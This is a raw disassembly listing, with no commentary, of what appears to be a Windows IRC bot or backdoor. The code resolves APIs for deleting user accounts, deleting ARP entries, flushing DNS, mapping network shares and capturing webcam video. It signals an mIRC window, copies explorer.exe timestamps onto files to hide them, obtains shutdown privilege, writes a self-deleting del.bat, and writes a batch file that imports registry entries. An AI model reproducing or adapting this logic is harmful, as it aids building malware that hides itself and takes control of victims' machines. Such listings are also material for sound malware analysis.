call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43C438, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43C428, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43C4BC, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43C5AC, eax
call esi ; GetProcAddress
cmp dword_43C454, ebx
mov dword_43C564, eax
jz short loc_40935D
cmp dword_43C42C, ebx
jz short loc_40935D
cmp dword_43C4A0, ebx
jz short loc_40935D
cmp dword_43C4D4, ebx
jz short loc_40935D
cmp dword_43C5E4, ebx
jz short loc_40935D
cmp dword_43C48C, ebx
jz short loc_40935D
cmp dword_43C438, ebx
jz short loc_40935D
cmp dword_43C428, ebx
jz short loc_40935D
cmp dword_43C4BC, ebx
jz short loc_40935D
cmp dword_43C5AC, ebx
jz short loc_40935D
cmp eax, ebx
jnz short loc_409367
jmp short loc_40935D
; ---------------------------------------------------------------------------
loc_409352: ; CODE XREF: sub_40891C+94Bj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C64C, eax
loc_40935D: ; CODE XREF: sub_40891C+9E6j
; sub_40891C+9EEj ...
mov dword_43C648, 1
loc_409367: ; CODE XREF: sub_40891C+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40939C
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43C47C, eax
call esi ; GetProcAddress
cmp dword_43C47C, ebx
mov dword_43C54C, eax
jz short loc_4093A7
cmp eax, ebx
jnz short loc_4093B1
jmp short loc_4093A7
; ---------------------------------------------------------------------------
loc_40939C: ; CODE XREF: sub_40891C+A56j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C654, eax
loc_4093A7: ; CODE XREF: sub_40891C+A78j
; sub_40891C+A7Ej
mov dword_43C650, 1
loc_4093B1: ; CODE XREF: sub_40891C+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4093E6
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43C5D0, eax
call esi ; GetProcAddress
cmp dword_43C5D0, ebx
mov dword_43C5CC, eax
jz short loc_4093F1
cmp eax, ebx
jnz short loc_4093FB
jmp short loc_4093F1
; ---------------------------------------------------------------------------
loc_4093E6: ; CODE XREF: sub_40891C+AA0j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C65C, eax
loc_4093F1: ; CODE XREF: sub_40891C+AC2j
; sub_40891C+AC8j
mov dword_43C658, 1
loc_4093FB: ; CODE XREF: sub_40891C+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40945A
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43C5FC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43C5F4, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43C5BC, eax
call esi ; GetProcAddress
cmp dword_43C5FC, ebx
mov dword_43C494, eax
jz short loc_409465
cmp dword_43C5F4, ebx
jz short loc_409465
cmp dword_43C5BC, ebx
jz short loc_409465
cmp eax, ebx
jnz short loc_40946F
jmp short loc_409465
; ---------------------------------------------------------------------------
loc_40945A: ; CODE XREF: sub_40891C+AEAj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C664, eax
loc_409465: ; CODE XREF: sub_40891C+B26j
; sub_40891C+B2Ej ...
mov dword_43C660, 1
loc_40946F: ; CODE XREF: sub_40891C+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4094A4
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43C4C8, eax
call esi ; GetProcAddress
cmp dword_43C4C8, ebx
mov dword_43C5C8, eax
jz short loc_4094AF
cmp eax, ebx
jnz short loc_4094B9
jmp short loc_4094AF
; ---------------------------------------------------------------------------
loc_4094A4: ; CODE XREF: sub_40891C+B5Ej
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C66C, eax
loc_4094AF: ; CODE XREF: sub_40891C+B80j
; sub_40891C+B86j
mov dword_43C668, 1
loc_4094B9: ; CODE XREF: sub_40891C+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409542
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43C590, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43C5DC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43C518, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43C4D8, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43C570, eax
call esi ; GetProcAddress
cmp dword_43C590, ebx
mov dword_43C4E4, eax
jz short loc_40954D
cmp dword_43C5DC, ebx
jz short loc_40954D
cmp dword_43C518, ebx
jz short loc_40954D
cmp dword_43C4D8, ebx
jz short loc_40954D
cmp dword_43C570, ebx
jz short loc_40954D
cmp eax, ebx
jnz short loc_409557
jmp short loc_40954D
; ---------------------------------------------------------------------------
loc_409542: ; CODE XREF: sub_40891C+BA8j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C674, eax
loc_40954D: ; CODE XREF: sub_40891C+BFEj
; sub_40891C+C06j ...
mov dword_43C670, 1
loc_409557: ; CODE XREF: sub_40891C+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40958C
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43C4AC, eax
call esi ; GetProcAddress
cmp dword_43C4AC, ebx
mov dword_43C584, eax
jz short loc_409597
cmp eax, ebx
jnz short loc_4095A1
jmp short loc_409597
; ---------------------------------------------------------------------------
loc_40958C: ; CODE XREF: sub_40891C+C46j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C67C, eax
loc_409597: ; CODE XREF: sub_40891C+C68j
; sub_40891C+C6Ej
mov dword_43C678, 1
loc_4095A1: ; CODE XREF: sub_40891C+C6Cj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_40891C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095A9 proc near ; CODE XREF: sub_40CD3A+51A1p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43C610, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4095F1
push dword_43C614
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4095F1: ; CODE XREF: sub_4095A9+1Aj
cmp dword_43C618, esi
jz short loc_409625
push dword_43C61C
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409625: ; CODE XREF: sub_4095A9+4Ej
cmp dword_43C620, esi
jz short loc_409659
push dword_43C624
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409659: ; CODE XREF: sub_4095A9+82j
cmp dword_43C628, esi
jz short loc_40968D
push dword_43C62C
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40968D: ; CODE XREF: sub_4095A9+B6j
cmp dword_43C630, esi
jz short loc_4096C1
push dword_43C634
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4096C1: ; CODE XREF: sub_4095A9+EAj
cmp dword_43C638, esi
jz short loc_4096F5
push dword_43C63C
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4096F5: ; CODE XREF: sub_4095A9+11Ej
cmp dword_43C640, esi
jz short loc_409729
push dword_43C644
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409729: ; CODE XREF: sub_4095A9+152j
cmp dword_43C648, esi
jz short loc_40975D
push dword_43C64C
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40975D: ; CODE XREF: sub_4095A9+186j
cmp dword_43C650, esi
jz short loc_409791
push dword_43C654
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409791: ; CODE XREF: sub_4095A9+1BAj
cmp dword_43C658, esi
jz short loc_4097C5
push dword_43C65C
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4097C5: ; CODE XREF: sub_4095A9+1EEj
cmp dword_43C660, esi
jz short loc_4097F9
push dword_43C664
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4097F9: ; CODE XREF: sub_4095A9+222j
cmp dword_43C668, esi
jz short loc_40982D
push dword_43C66C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40982D: ; CODE XREF: sub_4095A9+256j
cmp dword_43C670, esi
jz short loc_409861
push dword_43C674
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409861: ; CODE XREF: sub_4095A9+28Aj
cmp dword_43C678, esi
jz short loc_409895
push dword_43C67C
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409895: ; CODE XREF: sub_4095A9+2BEj
lea eax, [ebp+var_200]
push offset dword_429A94
push eax
call sub_415316
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4098C2
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4098C2: ; CODE XREF: sub_4095A9+302j
lea eax, [ebp+var_200]
push eax
call sub_40B078
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4095A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098D4 proc near ; CODE XREF: sub_40CD3A+BEFp
; sub_40CD3A+C20p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40995F
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40995F
cmp [ebp+arg_8], esi
jz short loc_40995F
cmp byte ptr [eax], 0
jz short loc_40995F
push ebx
push edi
call sub_42067A
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40995A
push [ebp+arg_4]
push edi
call sub_4158E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409953
sub eax, edi
push eax
push edi
push ebx
call sub_416BE0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_415B10
push eax
push [ebp+arg_8]
push ebx
call sub_416DB0
push [ebp+arg_4]
call sub_415B10
add eax, esi
push eax
push ebx
call sub_415A30
push ebx
push edi
call sub_415A20
add esp, 30h
mov esi, edi
loc_409953: ; CODE XREF: sub_4098D4+3Cj
push ebx
call sub_415C9B
pop ecx
loc_40995A: ; CODE XREF: sub_4098D4+2Bj
mov eax, esi
pop ebx
jmp short loc_409961
; ---------------------------------------------------------------------------
loc_40995F: ; CODE XREF: sub_4098D4+Cj
; sub_4098D4+13j ...
xor eax, eax
loc_409961: ; CODE XREF: sub_4098D4+89j
pop edi
pop esi
pop ebp
retn
sub_4098D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409965 proc near ; CODE XREF: sub_40CBBE+E9p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_415390
mov esi, [ebp+arg_0]
push esi
call sub_415B10
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_40999D
or eax, 0FFFFFFFFh
jmp short loc_409A04
; ---------------------------------------------------------------------------
loc_40999D: ; CODE XREF: sub_409965+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_4099BE
loc_4099A9: ; CODE XREF: sub_409965+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4099B6
cmp dl, 0Dh
jnz short loc_4099B9
loc_4099B6: ; CODE XREF: sub_409965+4Aj
mov [ecx+esi], bl
loc_4099B9: ; CODE XREF: sub_409965+4Fj
inc ecx
cmp ecx, eax
jl short loc_4099A9
loc_4099BE: ; CODE XREF: sub_409965+42j
xor edx, edx
cmp eax, ebx
jle short loc_4099E6
loc_4099C4: ; CODE XREF: sub_409965+7Fj
cmp [edx+esi], bl
jnz short loc_4099E1
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_4099E1
cmp edi, 1F4h
jge short loc_4099E6
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_4099E1: ; CODE XREF: sub_409965+62j
; sub_409965+6Aj
inc edx
cmp edx, eax
jl short loc_4099C4
loc_4099E6: ; CODE XREF: sub_409965+5Dj
; sub_409965+72j
cmp [ebp+arg_4], ebx
jz short loc_409A02
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4153F0
add esp, 0Ch
loc_409A02: ; CODE XREF: sub_409965+84j
mov eax, edi
loc_409A04: ; CODE XREF: sub_409965+36j
pop edi
pop esi
pop ebx
leave
retn
sub_409965 endp
; =============== S U B R O U T I N E =======================================
sub_409A09 proc near ; CODE XREF: sub_409A63+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_409A42
push ebx
mov ebx, edi
loc_409A26: ; CODE XREF: sub_409A09+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_409A45
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_409A26
pop ebx
loc_409A42: ; CODE XREF: sub_409A09+18j
pop edi
pop esi
retn
sub_409A09 endp
; =============== S U B R O U T I N E =======================================
sub_409A45 proc near ; CODE XREF: sub_409A09+25p
; sub_409A63+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_417033
cmp al, 61h
pop ecx
jl short loc_409A60
cmp al, 7Ah
jg short loc_409A60
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_409A60: ; CODE XREF: sub_409A45+Ej
; sub_409A45+12j
xor eax, eax
retn
sub_409A45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A63 proc near ; CODE XREF: sub_40B158+10p
; sub_40B18A+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_415B90
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_415B10
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_415B10
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409A09
add esp, 14h
dec esi
mov edi, esi
jmp short loc_409B15
; ---------------------------------------------------------------------------
loc_409AA3: ; CODE XREF: sub_409A63+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417033
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_417033
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409B13
loc_409AC5: ; CODE XREF: sub_409A63+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_409A45
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409AE6
mov eax, ecx
loc_409AE6: ; CODE XREF: sub_409A63+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409B23
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417033
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_417033
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409AC5
loc_409B13: ; CODE XREF: sub_409A63+60j
dec edi
dec esi
loc_409B15: ; CODE XREF: sub_409A63+3Ej
test esi, esi
jg short loc_409AA3
mov eax, [ebp+arg_0]
add eax, edi
loc_409B1E: ; CODE XREF: sub_409A63+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409B23: ; CODE XREF: sub_409A63+88j
xor eax, eax
jmp short loc_409B1E
sub_409A63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B27 proc near ; CODE XREF: sub_40CD3A+3AB4p
; sub_40CD3A+470Ap
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_421088 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4210CC ; FormatMessageA
lea eax, [ebp+var_100]
loc_409B60: ; CODE XREF: sub_409B27+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_409B6C
cmp cl, 9
jnz short loc_409B6F
loc_409B6C: ; CODE XREF: sub_409B27+3Ej
inc eax
jmp short loc_409B60
; ---------------------------------------------------------------------------
loc_409B6F: ; CODE XREF: sub_409B27+43j
; sub_409B27+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_409B89
mov cl, [eax]
cmp cl, 2Eh
jz short loc_409B6F
cmp cl, 21h
jl short loc_409B6F
loc_409B89: ; CODE XREF: sub_409B27+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43C680
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41588A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409B27 endp
; =============== S U B R O U T I N E =======================================
sub_409BB1 proc near ; CODE XREF: sub_40CD3A+512Dp
push esi
push 0
call dword_43C524
test eax, eax
jz short loc_409BE8
push 1
call dword_43C544
mov esi, eax
test esi, esi
jz short loc_409BE8
push edi
push esi
call dword_4210D4 ; GlobalLock
push esi
mov edi, eax
call dword_4210D0 ; GlobalUnlock
call dword_43C5A8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409BE8: ; CODE XREF: sub_409BB1+Bj
; sub_409BB1+19j
xor eax, eax
pop esi
retn
sub_409BB1 endp
; =============== S U B R O U T I N E =======================================
sub_409BEC proc near ; CODE XREF: sub_40CD3A+44B4p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43C560
mov ebp, eax
cmp ebp, esi
jz short loc_409C68
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4210E0 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4210DC ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_415316
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43C5B0
push esi
push 1
push 4C9h
push ebp
call dword_43C5B0
push ebx
call dword_4210D8 ; UnmapViewOfFile
push edi
call dword_42106C ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_409C6A
; ---------------------------------------------------------------------------
loc_409C68: ; CODE XREF: sub_409BEC+16j
xor eax, eax
loc_409C6A: ; CODE XREF: sub_409BEC+7Aj
pop edi
pop esi
pop ebp
retn
sub_409BEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C6E proc near ; CODE XREF: sub_40C574+20Dp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43C60C
test eax, eax
jz short loc_409D0D
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_421078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_409D0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4210E8 ; GetFileTime
push ebx
mov ebx, dword_42106C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409D0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4210E4 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_409D0D: ; CODE XREF: sub_409C6E+2Aj
; sub_409C6E+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_409C6E endp
; =============== S U B R O U T I N E =======================================
sub_409D12 proc near ; CODE XREF: sub_40CD3A+133Cp
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413BE5
pop ecx
pop ecx
push 50005h
push 6
call dword_43C49C
neg eax
sbb eax, eax
neg eax
retn
sub_409D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D34 proc near ; CODE XREF: sub_40BBF7+45Fp
; sub_40CD3A+53C9p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42C25C, esi
push edi
jz short loc_409D58
cmp dword_43C620, esi
jnz short loc_409D58
push esi
call sub_40B2B9
pop ecx
loc_409D58: ; CODE XREF: sub_409D34+13j
; sub_409D34+1Bj
call sub_414F9D
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4210F8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_409EB8
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43B188
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_409E60
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_409E60: ; CODE XREF: sub_409D34+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4210F0 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4210EC ; CreateProcessA
loc_409EB8: ; CODE XREF: sub_409D34+72j
pop edi
pop esi
leave
retn
sub_409D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409EBC proc near ; CODE XREF: sub_40C574+31p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_415B90
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCTenpo_bat ; "c:\\tenpo.bat"
push eax
movsb
call sub_415316
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_409F76
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 0Ch
lea ecx, [ebp+var_58]
xor eax, eax
mov [ebp+var_48], edi
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
inc eax
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
mov [ebp+var_18], si
call dword_4210EC ; CreateProcessA
